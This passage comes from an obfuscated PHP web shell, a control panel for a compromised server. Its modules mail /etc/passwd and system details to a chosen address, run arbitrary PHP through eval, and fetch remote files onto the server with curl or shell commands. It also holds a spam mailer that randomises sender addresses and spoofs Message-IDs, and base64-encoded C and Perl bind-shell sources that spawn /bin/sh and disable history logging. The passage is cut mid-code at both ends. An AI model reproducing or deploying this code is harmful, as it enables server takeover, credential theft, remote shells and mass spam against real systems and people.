for($i=0;$i<@count($p_arr);$i++){ if(!@empty($p_arr[$i][1])) $msg .= $p_arr[$i][0]." : ".$p_arr[$i][1]."\r\n"; } } if(@count($o_arr)>0){ $msg.=$line.z9s("481")."\n".$line; for($i=0;$i<@count($o_arr);$i++){ if(!@empty($o_arr[$i][1])) $msg .= $o_arr[$i][0]." : ".$o_arr[$i][1]."\r\n"; } } $msg.=$line; if($bpasswd) $msg .= "/etc/passwd\n".$line.z9p("/etc/passwd").$line; $emsg=(@mail($sysmail,"SYSINFO|$saddr", $msg) ? z9s("243"):z9s("244")); } echo z2b(z9s("302").(($emsg!='')?" : ".$emsg:'')); echo z5c(array("act"=>"sysinfo","d","sendlog"=>"1"),z10e(z5n().z7i(z6x(z5u("sysmail",z7x('2',"email"),"0").z8v(z9s("179"),"7"))).z5n(),"2")); } } if($act=='eval'){ if(!@isset($evalsubmit)){ $eval_txt=1; } elseif(!@isset($eval_txt)){ $eval_txt=0; } echo z2b(z9s("182")).z6d(); echo z10e( z7i( z6x(z5c(array('act'=>'eval','d','evalsubmit'=>'1'), z5w('eval','1').(@isset($eval)?@htmlspecialchars($eval):'//readfile("/etc/passwd");'."\r\n").z5q().z9x().z5x("left","3").z8v(z9s("183"),'7','9').z5y("eval_txt",z9s("184"),"eval_txt").z5j()) ) ).z5n() ,'2'); if(@isset($evalsubmit)&&$evalsubmit){ $eval=@isset($eval)?$eval:""; if(!@empty($eval)){ $eval_result=""; $tmp=@ob_get_contents(); $olddir=@realpath(".")||@getcwd(); @chdir($d); if($tmp){ @ob_clean(); eval($eval); $ret=@ob_get_contents(); $ret=@convert_cyr_string($ret,"d","w"); @ob_clean(); echo $tmp; if($eval_txt){ $eval_result=@htmlspecialchars($ret); }else{ $eval_result=$ret; } }else{ if($eval_txt){ $eval_result=@eval($eval); }else{ $eval_result=$ret; } } @chdir($olddir); } if($eval_txt){ echo z10e( z7i( z6x(z5w('','1',1).(@isset($eval_result)?$eval_result:'').z5q()) ).z5n() ,'2'); } else { echo $eval_result; } } } if($act=='upload'){ if(z0v($d)){ $wdt=(($use_images)?'':z5i("+")); }else{ $wdt=(($use_images)?'':z8z("x")); } $a_get=array(); $ls_a=array(); $umsg=$mmsg=$rmsg=''; if(!@isset($multiupload)){ if(@isset($usubmit)&&$usubmit){ global $_FILES; $dest=''; if(!@empty($_FILES['file1']['tmp_name'])){ $dest=$_FILES['file1']['name']; } if(@isset($rfile1)&&!@empty($rfile1)){ $dest=$rfile1; } if(!@isset($path1)||@empty($path1)) $path1=$d; $path1=z1a($path1); if(!@empty($dest)){ if(!@move_uploaded_file($_FILES['file1']['tmp_name'],$path1.$dest)){ $umsg = z9s("172",array($_FILES['file1']['name'],$_FILES['file1']['tmp_name'],$path1.$dest)); }else{ $umsg = z9s("173",array($_FILES['file1']['name'],$path1.$dest)); $ls_a[]=$path1.$dest; $nolsmenu=1; $act="ls"; $d=$path1; } $umsg = z10e(z7i(z9j($umsg))); } } echo z2b(z9s("161")).$umsg. z10e( z5n(). z9f( z9j( z5m(array('act'=>'upload','d','usubmit'=>'1'), z10e( z7i(z5t(z9s("162")).z9j(z9h('file1','2').z8v(z9s("170"),'7').$wdt)). z7i(z5t(z9s("163")).z9j(z6i('rfile1',(@isset($rfile1)?$rfile1:''),"9"))). z7i(z5t(z9s("164")).z9j(z6i('path1',(@isset($path1)?$path1:$d),"9"))) ) ) ). z9j( z5c(array('act'=>'upload','d','multiupload'=>'1'), z10e( z7i(z9j(z8e(z9s("166")).z6i('lno',((@isset($lno))?$lno:'10'),'1').z8v(z9s("169"),'7'))) ) ) ) ). z5n() ,'2'); } else { if(@isset($msubmit)&&$msubmit){ global $_FILES; foreach($_FILES as $fk=>$fv){ $dest=''; if(!@empty($_FILES[$fk]['tmp_name'])){ $dest=$_FILES[$fk]['name']; } if(@isset($rfile[$fk])&&!@empty($rfile[$fk])){ $dest=$rfile[$fk]; } if(!@isset($mpath)||@empty($mpath)) $mpath=$d; $mpath=z1a($mpath); if(!@empty($dest)){ if(!@move_uploaded_file($_FILES[$fk]['tmp_name'],$mpath.$dest)){ $mmsg .= z9s("172",array($_FILES[$fk]['name'],$_FILES[$fk]['tmp_name'],$mpath.$dest)).z9x(); }else{ $mmsg .= z9s("173",array($_FILES[$fk]['name'],$mpath.$dest)).z9x(); $ls_a[]=$mpath.$dest; $nolsmenu=1; $act="ls"; $ftarget='1'; $d=$mpath; } } } if($mmsg!='') $mmsg = z10e(z7i(z9j($mmsg))); } $form=''; if(!@is_numeric($lno)) $lno=10; for($i=0; $i<$lno; $i++){ $ii=($i+1); $form .= z7i(z5t(z9s("162")." ".$ii).z9j(z9h('file'.$ii,'2')).z5t(z9s("163")).z9j(z6i('rfile[file'.$ii.']','',"0"))); } echo z2b(z9s("168")).$mmsg. z5m(array('act'=>'upload','d','multiupload'=>'1','lno','msubmit'=>'1'),z10e(z5n().$form).z10e(z5n().z7i(z5t(z9s("164")).z9j(z6i('mpath',(@isset($mpath)?$mpath:$d),"9").z8v(z9s("170"),'7').$wdt)).z5n())); } if($bcurl) $a_get['phpcurl']="use php->curl"; if($bfsock) $a_get['fsock']="use php->fsockopen"; if(z7r('ini_get') && z8l('allow_url_fopen') && z7r('file_get_contents')) $a_get['file_get_contents']="use php->file_get_contents"; if($nix&&$sh_exec){ foreach($getaliases as $k=>$v){ if(z8u($k)) $a_get[$k]="use cmd->$k"; } } if(@count($a_get)>0){ if(@isset($rsubmit)&&$rsubmit){ $fct=''; if(!@preg_match(":^(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%\$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(/[^/][a-zA-Z0-9\.\,\?\'\\/\+&%\$#\=~_\-@]*)*$:i",$uploadurl)){ $rmsg=z9s("171",$uploadurl); } else { $dest=z2h($uploadurl); if(@isset($nameurl)&&!@empty($nameurl)) $dest=$nameurl; if(@empty($dest)) $dest='index.html'; if(!@isset($rpath)||@empty($rpath)) $rpath=$d; $rpath=z1a($rpath); if(z4q($rpath.$dest)){ $i=1; while(z4q($rpath.$dest)){ if($i==1){ $dest=$dest.".".$i; }else{ $dest=@substr($dest,0,@strlen($dest)-2).".".$i; } $i++; } } if($upwith=='phpcurl'||$upwith=='fsock'||$upwith=='file_get_contents'){ if($upwith=='phpcurl') $fct=z3a($uploadurl); if($upwith=='fsock') $fct=z2f($uploadurl); if($upwith=='file_get_contents') $fct=@file_get_contents($uploadurl); if(!$fct||@empty($fct)){ $rmsg = z9s("174"); } else { if(z9y($rpath.$dest, $fct)){ $rmsg=z9s("176",$rpath.$dest); $ls_a[]=$rpath.$dest; $nolsmenu=1; $act="ls"; $d=$rpath; } else { $rmsg=z9s("175",$rpath.$dest); } } } else { if($nix&&$sh_exec&&@isset($getaliases[$upwith])){ $ucmd=@str_replace('[%1%]', $upwith, $getaliases[$upwith]); $ucmd=@str_replace('[%2%]', $uploadurl, $ucmd); $ucmd=@str_replace('[%3%]', $rpath.$dest, $ucmd); z9t($ucmd,1); if(z4q($rpath.$dest)){ $rmsg=z9s("176",$rpath.$dest); $ls_a[]=$rpath.$dest; $nolsmenu=1; $act="ls"; $d=$rpath; } else { $rmsg = z9s("174"); } } } } if($rmsg!='') $rmsg = z10e(z7i(z9j($rmsg))); } echo z2b(z9s("167")).$rmsg. z5c(array('act'=>'upload','d','rsubmit'=>'1'), z10e(z5n().z7i(z5t(z9s("165")).z9j(z6i('uploadurl',(@isset($uploadurl)?$uploadurl:'http://'),"0").z4a('upwith',$a_get,'4','1').z8v(z9s("170"),'7').$wdt)). z7i(z5t(z9s("163")).z9j(z6i('nameurl',(@isset($nameurl)?$nameurl:''),"9"))). z7i(z5t(z9s("164")).z9j(z6i('rpath',(@isset($rpath)?$rpath:$d),"9"))).z5n() ,'2') ); } } if(@isset($lsall)&&@isset($action)&&$action!=''){ $lsall_arr=array(); $tlsall_arr=@explode("\n",$lsall); foreach($tlsall_arr as $tls){ $tls=@trim($tls); if(!@empty($tls)&&!@in_array($tls,$lsall_arr)){ $lsall_arr[]=$tls; } } if(@count($lsall_arr)>0){ foreach($lsall_arr as $dfls){ if(@isset($use_buffer)&&$use_buffer&&@isset($bcopy)&&@isset($bcut)&&@is_array($bcopy)&&@is_array($bcut)){ switch($action){ case 'bcopy': if(!@in_array($dfls,$bcopy)){ z1l($dfls,'bcopy'); } break; case 'bcut': if(!@in_array($dfls,$bcut)){ z1l($dfls,'bcut'); } break; case 'bunsetcopy': if(@in_array($dfls,$bcopy)){ z1l($dfls,'bcopy'); } break; case 'bunsetcut': if(@in_array($dfls,$bcut)){ z1l($dfls,'bcut'); } break; case 'bunsetall': if(@in_array($dfls,$bcopy)){ z1l($dfls,'bcopy'); } elseif(@in_array($dfls,$bcut)){ z1l($dfls,'bcut'); } break; default: break; } } switch($action){ case 'delete': if(z4q($dfls)){ z8d($dfls); } break; default: break; } } if(@isset($use_buffer)&&$use_buffer) z1w(); } } if($act=='mailer'){ $smsg=$cmsg=''; $s_ok=$c_ok=0; if(@isset($m1_submit)&&$m1_submit){ if(@empty($m1_name)||@empty($m1_from)||@empty($m1_subj)||@empty($m1_msg)||$m1_msg=="message"||@empty($m1_emails)||!@strstr($m1_emails,"@")){ $smsg=" : ".z9s("236"); } else { $s_ok=1; } } elseif(@isset($m2_submit)&&$m2_submit){ if(@empty($m2_name)||@empty($m2_from)||@empty($m2_subj)||@empty($m2_msg)||@empty($m2_csv)||!@preg_match('/"(.*?)"\s*,\s*"(.*?)"/',$m2_csv)){ $cmsg=" : ".z9s("236"); } else { $c_ok=1; } } if(!@isset($m1_msg)||@empty($m1_msg)) $m1_msg="message"; if(!@isset($m1_emails)||@empty($m1_emails)) $m1_emails="e-mails"; if(!@isset($m2_prefix)||@empty($m2_prefix)) $m2_prefix="column_prefix_"; if(!@isset($m2_ecol)||!@is_numeric($m2_ecol)) $m2_ecol="0"; if(!@isset($m2_msg)||@empty($m2_msg)) $m2_msg="Hello ".$m2_prefix."1,\r\n\r\nYour Address: ".$m2_prefix."2\r\nYour Phone: ".$m2_prefix."3\r\n\r\nE-mail sent to: ".$m2_prefix."0"; if(!@isset($m2_csv)||@empty($m2_csv)) $m2_csv='"john@email","john","john\'s address","0123456789"'."\r\n".'"jane@email","jane","jane\'s address","9876543210"'; echo z2b(array(z9s("212").$smsg, z9s("213").$cmsg),'46'); echo z9m('2').z7p().z7k('','4'); echo z10e( z5n().z9f(z9j(z10e( z5c(array("act"=>"mailer","d","m1_submit"=>"1"), z7i(z9j(z8e(z9s("214"))).z7e(z5u('m1_name','','7'))). z7i(z9j(z8e(z9s("215"))).z7e(z5u('m1_from','','7'))). z7i(z9j(z8e(z9s("216"))).z7e(z5u('m1_subj','','7'))). z7i(z6c(z5w('m1_msg','3').$m1_msg.z5q(),'2')). z7i(z6c(z5w('m1_emails','3').$m1_emails.z5q(),'2')). z7i(z6c(z10e(z7i(z9j(z8e(z9s("217")).z5u('m1_str','','4')).z9j(z8e(z9s("218")).z4a('m1_replace', array(""=>z9s("223"), "name"=>z9s("224"), "email1"=>z9s("225"), "email2"=>z9s("226"), "emailhash"=>z9s("227")),'4',1)).z9j(z8e(z9s("219")).z4a("m1_where",array( "subject"=>z9s("228"), "message"=>z9s("229"), ""=>z9s("230")),'5',1))),'2'),'2')). z7i(z6c(z10e(z7i(z9j(z5y("m1_rand1",z9s("231"),"m1_rand1"),'','4').z9j(z5y("m1_rand2",z9s("232"),"m1_rand2"),'','4')),'2'),'2')).z5n(). z7i(z6c(z8v(z9s("233"),'7').z5y('m1_preview',z9s("234"),'m1_preview'),'2')) ),'2'),'20')). z5n() ,'2'); echo z7g().z7k('','46'); echo z10e( z5n().z9f(z9j(z10e( z5c(array('act'=>'mailer',"d",'m2_submit'=>'1'), z7i(z9j(z8e(z9s("214"))).z7e(z5u('m2_name','','7'))). z7i(z9j(z8e(z9s("215"))).z7e(z5u('m2_from','','7'))). z7i(z9j(z8e(z9s("216"))).z7e(z5u('m2_subj','','7'))). z7i(z6c(z5w('m2_msg','3').$m2_msg.z5q(),'2')). z7i(z6c(z5w('m2_csv','3').$m2_csv.z5q(),'2')). z7i(z6c(z10e(z7i(z9j(z8e(z9s("220")).z6i('m2_ecol',$m2_ecol,'6')).z9j(z8e(z9s("221")).z5u('m2_prefix','','4')).z9j(z8e(z9s("222")).z4a('m2_where',array( "message"=>z9s("229"), ""=>z9s("230")),"4",1))),'2'),'2')). z7i(z6c(z10e(z7i(z9j(z5y("m2_rand1",z9s("231"),"m2_rand1"),'','4').z9j(z5y("m2_rand2",z9s("232"),"m2_rand2"),'','4')),'2'),'2')).z5n(). z7i(z6c(z8v(z9s("233"),'7').z5y('m2_preview',z9s("234"),"m2_preview").' '.z5y('m2_verbose',z9s("235"),"m2_verbose"),'2')) ),'2'),'20')). z5n() ,'2'); echo z7g().z7u().z10w(); if($s_ok||$c_ok){ $host=array("aol.com","att.net","bellsouth.net","comcast.net","email.com","gmail.com","googlemail.com","hotmail.com","juno.com","live.com","lycos.com","mail.com","mindspring.com","msn.com","pacbell.com","post.com","prodigy.net","rocketmail.com","sbcglobal.net","usa.com","yahoo.com","ymail.com"); $ch=(@count($host)-1); $i=1; $m_success=0; $m_failed=0; $all_failed=array(); if($s_ok){ echo z9m('2').z7i( z9j(z9s("237"),'8','2').z9j(z9s("238"),'8').z9j(z9s("239"),'8').z9j(z9s("240"),'8').z9j(z9s("241"),'8','3') ); $m_all=@explode("\n",$m1_emails); $m_all=@array_unique($m_all); $m_count=@count($m_all); $m_len=@strlen($m_count); z5p(); foreach($m_all as $m_mail){ $from=$m1_from; if(@isset($m1_rand1)&&$m1_rand1){ $from=@str_replace("@",@rand(100000,999999)."@",$from); } if(isset($m1_rand2)&&$m1_rand2){ $hr=@rand(0,$ch); $m_msgid=@md5(@uniqid(@time()))."@".$host[$hr]; }else{ $m_msgid=@md5(@uniqid(@time()))."@".$_SERVER["SERVER_NAME"]; } $header=""; $header.="From: $m1_name <$from>\n"; $header.="Reply-To: <$from>\n"; $header.="Message-ID: <".$m_msgid.">\n"; $header.="MIME-Version: 1.0\n"; $date=@date("Y-m-d"); $header.="Date: $date\n"; $header.="Content-Type: text/html; charset=UTF-8\n"; $header.="Content-Transfer-Encoding: 8bit\n\n"; $m_msg=$m1_msg; $m_subj=$m1_subj; if(@isset($m1_str)&&!@empty($m1_str)&&@isset($m1_replace)&&!@empty($m1_replace)){ if($m1_replace=="name"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m1_name,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m1_name,$m_subj); }elseif($m1_replace=="email1"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m1_from,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m1_from,$m_subj); }elseif($m1_replace=="email2"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,$m_mail,$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,$m_mail,$m_subj); }elseif($m1_replace=="emailhash"){ if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="message") $m_msg=@str_replace($m1_str,@md5($m_mail),$m_msg); if(!@isset($m1_where)||@empty($m1_where)||$m1_where=="subject") $m_subj=@str_replace($m1_str,@md5($m_mail),$m_subj); } } $m_pad=""; if(@strlen($i)<$m_len) $m_pad=@str_repeat("0",($m_len-@strlen($i))); if(!@empty($m_mail)){ if(@isset($m1_preview)&&$m1_preview){ if($i>5) break; echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z5i(z9s("245")),'14','3'),($i%2?'0':'1')); }elseif(@mail($m_mail,$m_subj,$m_msg,$header)){ echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z5i(z9s("243")),'14','3'),($i%2?'0':'1')); z5p(); $m_success++; }else{ echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').z9j($m_msgid,'14').z9j(z8z(z9s("244")),'14','3'),($i%2?'0':'1')); z5p(); $all_failed[]=$m_mail; $m_failed++; } $i++; } } } elseif($c_ok){ $fcsv=@str_replace("\r","\n",$m2_csv); $fcsv=z3q("\n\n","\n",$fcsv); $csv=z5g($fcsv); echo z9m('2').z7i( z9j(z9s("237"),'8','2').z9j(z9s("238"),'8').z9j(z9s("239"),'8').((@isset($m2_verbose)&&$m2_verbose)?z9j(z9s("242"),'8'):'').z9j(z9s("240"),'8').z9j(z9s("241"),'8','3') ); $m_count=@count($csv); $m_len=@strlen($m_count); z5p(); foreach($csv as $str_csv){ if(@is_array($str_csv)){ $from=$m2_from; $m_mail=$str_csv[$m2_ecol]; if(@isset($m2_rand1)&&$m2_rand1){ $from=@str_replace("@",@rand(100000,999999)."@",$from); } if(isset($m2_rand2)&&$m2_rand2){ $hr=@rand(0,$ch); $m_msgid=@md5(@uniqid(@time()))."@".$host[$hr]; }else{ $m_msgid=@md5(@uniqid(@time()))."@".$_SERVER["SERVER_NAME"]; } $header=""; $header.="From: $m2_name <$from>\n"; $header.="Reply-To: <$from>\n"; $header.="Message-ID: <".$m_msgid.">\n"; $header.="MIME-Version: 1.0\n"; $date=@date("Y-m-d"); $header.="Date: $date\n"; $header.="Content-Type: text/html; charset=UTF-8\n"; $header.="Content-Transfer-Encoding: 8bit\n\n"; $m_msg=$m2_msg; $m_subj=$m2_subj; $repl=array(); for($si=(@count($str_csv)-1);$si>=0;$si--){ if(@empty($m2_where)){ $m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg); $m_subj=@str_replace($m2_prefix.$si,$str_csv[$si],$m_subj); $repl[]=$m2_prefix.$si." = ".$str_csv[$si].z9x(); }else{ $m_msg=@str_replace($m2_prefix.$si,$str_csv[$si],$m_msg); $repl[]=$m2_prefix.$si." = ".$str_csv[$si].z9x(); } } $replacing=(@count($repl)>0?@implode('',@array_reverse($repl)):''); $m_pad=""; if(@strlen($i)<$m_len) $m_pad=@str_repeat("0",($m_len-@strlen($i))); if(!@empty($m_mail)){ if(@isset($m2_preview)&&$m2_preview){ if($i>5) break; echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z5i(z9s("245")),'14','3'),($i%2?'0':'1')); } elseif(@mail($m_mail,$m_subj,$m_msg,$header)){ echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z5i(z9s("243")),'14','3'),($i%2?'0':'1')); z5p(); $m_success++; }else{ echo z9f(z9j($m_pad.$i,'14','2').z9j($m_mail,'14').z9j($from,'14').((@isset($m2_verbose)&&$m2_verbose)?z9j($replacing,'14'):'').z9j($m_msgid,'14').z9j(z8z(z9s("244")),'14','3'),($i%2?'0':'1')); z5p(); $all_failed[]=$m_mail; $m_failed++; } $i++; } } } echo z10w(); } if(!@isset($m2_preview)||!$m2_preview){ echo z6d().z10e(z7i(z6x(z9s("426",$m_count).z9c().z9s("427",$m_success).z9c().z9s("428",$m_failed).($m_failed>0?z9c().z9s("431"):''))),'2'); if(@count($all_failed)>0){ echo z10e(z9f(z6x(z5w('','1',1).@implode("\n",@array_unique($all_failed)).z5q())),'2'); } } } } if($act=='encoders'){ $hash_algos=array(''=>z9s("260")); if(!@isset($hash_input)) $hash_input=''; if(z7r("hash_algos")&&@z7r("hash")){ $hfnc=1; $hashes=@hash_algos(); } else { $hfnc=0; $hashes=array(); foreach(array("md5","sha1","crc32") as $hh){ if(z7r($hh)) $hashes[]=$hh; } } foreach($hashes as $ha) $hash_algos[$ha]=$ha; $encode_functions=z0x(); $submited=0; if(@isset($submit_encode)&&$submit_encode&&@isset($encoder_input)&&!@empty($encoder_input)) $submited=1; $encoder_output=""; if(!@isset($ip_input)||@empty($ip_input)){ $ip_input=$saddr; } echo z2b(array(z9s("246"),z9s("253")),"46"); echo z9m(2). z7p(). z7k('','4').z6d(). z9m('2').z9l('','hash_form').z9b("act","encoders").z9b("d").z9b("htype","1").z7i(z5t(z9s("247")).z9j(z5u("hashinput","","5").z8v(z9s("248"),'7').z8m(z9s("250"),'document.hash_form.hashinput.value=\'\';','7'))).z9z().z10w(); if(@isset($htype)&&$htype){ echo z10e(z9f(z5t(z9s("251")).z9j(z5w('','6').z2k($hashinput).z5q())),"2"); } echo z7g().z7k('','46'). z6d(). z9m('2').z9l('',"ip_form").z9b("act","encoders").z9b("d").z9b("submit_ip","1").z7i(z5t(z9s("254")).z9j(z6i("ip_input",@htmlspecialchars($ip_input),'5').z8v(z9s("248"),'7').z8m(z9s("250"),'document.ip_form.ip_input.value=\'\';','7'))).z9z().z10w(); if(@isset($submit_ip)&&$submit_ip=="1"&&@isset($ip_input)&&!@empty($ip_input)){ echo z9m('2').z7i(z5t(z9s("255")).z9j(z8h(sprintf("%u",@ip2long($ip_input)),"0").z9c().z10y('http://'.@sprintf("%u",@ip2long($ip_input)).'/',z9s("252"),"1",1))). z7i(z5t(z9s("256")).z9j(z8h((z2n($ip_input)=="failed")?"failed":z2n($ip_input),"0").((z2n($ip_input)=="failed")?"":z9c().z10y('http://'.z2n($ip_input).'/',z9s("252"),"1",1)))). z7i(z5t(z9s("257")).z9j(z8h((z1h($ip_input)=="failed")?"failed":z1h($ip_input),"0").((z1h($ip_input)=="failed")?"":z9c().z10y('http://'.z1h($ip_input).'/',z9s("252"),"1",1)))).z10w(); } echo z6d(); echo z7g(). z7u(). z10w(); echo z2b(array(z9s("432"),z9s("433")),'46'); echo z9m(2). z7p(). z7k('','4').z6d(). z9m('2').z9l('',"hashing_form").z9b("act","encoders").z9b("d"). z7i(z5t(z9s("258")).z9j(z4a('hash_type',$hash_algos,'5',1).z8v(z9s("249"),'7').z8m(z9s("250"),'document.hashing_form.hash_input.value=\'\';','7'))). z9f(z5t(z9s("259")).z9j(z5w('hash_input','6').(@isset($hash_input)?@htmlspecialchars($hash_input):'').z5q())). z9z().z10w(). z6d(). z7g().z7k('','46'). z6d(). z9m('2').z9l('',"encoder_form").z9b("d").z9b("act","encoders").z9b("submit_encode","1"). z7i(z5t(z9s("91")).z9j(z4a("encode_selected",$encode_functions,"5",1,'').z8v(z9s("249"),'7').z8m(z9s("250"),'document.encoder_form.encoder_input.value=\'\';','7'))). z9f(z5t(z9s("259")).z9j(z5w('encoder_input','6').(@isset($encoder_input)?@htmlspecialchars($encoder_input):'').z5q())). ($submited?z7i(z5t(z9c()).z9j(z8m(z9s("263"),'document.output_form.encoder_output.value=\'\';','7').z8m(z9s("264"),'document.encoder_form.encoder_input.value=document.output_form.encoder_output.value;','7'))):''). z9z().z10w(). z6d(). z7g(). z7u(). z10w(); if(@isset($hash_input)&&!@empty($hash_input)){ echo z2b(z9s("261")).z6d(); echo z9m('2'); if(@count($hashes)>0){ if(@isset($hash_type)&&@in_array($hash_type,$hashes)){ echo z7i(z5t($hash_type).z9j(z8h(($hfnc?@hash($hash_type,$hash_input):$hash_type($hash_input)),'7'))); } else { foreach($hashes as $k){ echo z7i(z5t($k).z9j(z8h(($hfnc?@hash($k,$hash_input):$k($hash_input)),'7'))); } } } echo z10w().z6d(); } if($submited){ $encoder_output=$encode_selected($encoder_input); echo z2b(z9s("262")).z6d().z9m('2').z9l('',"output_form").z9f(z6x(z5w('encoder_output','1').@htmlspecialchars($encoder_output).z5q())).z9z().z10w().z6d(); } } if($act=='tools'){ $bndprt_c="I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5ncy5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5lIFAwUlQgJXBvcnQlCiNkZWZpbmUgUEFTUyAiJXBhc3MlIgoKaW50Cm1haW4oaW50IGEsIGNoYXIgKipiKQp7CmludCBjLCBkLCBlID0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbiksIGY7CmNoYXIgcFsxMDAwXTsKc3RydWN0IHNvY2thZGRyX2luIGwsIHI7CnNpZ25hbChTSUdDSExELCBTSUdfSUdOKTsKc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7CnNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsKc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CmlmIChmb3JrKCkpCmV4aXQoMCk7Cmwuc2luX2ZhbWlseSA9IEFGX0lORVQ7Cmwuc2luX3BvcnQgPSBodG9ucyhQMFJUKTsKbC5zaW5fYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwpiemVybygmKGwuc2luX3plcm8pLCA4KTsKYyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CmJpbmQoYywoc3RydWN0IHNvY2thZGRyICopICZsLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7Cmxpc3RlbihjLCAzKTsKd2hpbGUgKChkID0gYWNjZXB0KGMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnIsICZlKSkpCnsKaWYgKCFmb3JrKCkpCnsKcmVjdihkLCBwLCAxMDAwLCAwKTsKaWYgKGNocGFzcyhQQVNTLHApKQp7CmNsb3NlKGQpOwpleGl0KDEpOwp9CmNsb3NlKDApOwpjbG9zZSgxKTsKY2xvc2UoMik7CmR1cDIoZCwgMCk7CmR1cDIoZCwgMSk7CmR1cDIoZCwgMik7CnNldGVudigiUEFUSCIsICIvc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbi86L3Vzci9sb2NhbC9zYmluOi4iLCAxKTsKdW5zZXRlbnYoIkhJU1RTQVZFIik7CnVuc2V0ZW52KCJISVNURklMRSIpOwpleGVjbCgiL2Jpbi9zaCIsICJzaCIsIChjaGFyICopIDApOwpjbG9zZShkKTsKZXhpdCgwKTsKfQp9CnJldHVybiAwOwp9CgppbnQgY2hwYXNzKGNoYXIgKmJhc2UsIGNoYXIgKmVudGVyZWQpIHsKaW50IGk7CmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSAKewppZihlbnRlcmVkW2ldID09ICdcbicpCmVudGVyZWRbaV0gPSAnXDAnOyAKaWYoZW50ZXJlZFtpXSA9PSAnXHInKQplbnRlcmVkW2ldID0gJ1wwJzsKfQppZiAoIXN0cmNtcChiYXNlLGVudGVyZWQpKQpyZXR1cm4gMDsKfQo="; $bndprt_pl="IyEvdXNyL2Jpbi9wZXJsCiRTSEVMTD0iL2Jpbi9zaCI7CiRMSVNURU5fUE9SVD0lcG9ydCU7CnVzZSBTb2NrZXQ7CiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29ja2V0XG4iOwpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7CmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7Cmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsKd2hpbGUoMSkKewphY2NlcHQoQ09OTixTKTsKaWYoISgkcGlkPWZvcmspKQp7CmRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsKb3BlbiBTVERJTiwiPCZDT05OIjsKb3BlbiBTVERPVVQsIj4mQ09OTiI7Cm9wZW4gU1RERVJSLCI+JkNPTk4iOwpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsKY2xvc2UgQ09OTjsKZXhpdCAwOwp9Cn0KCg=="; 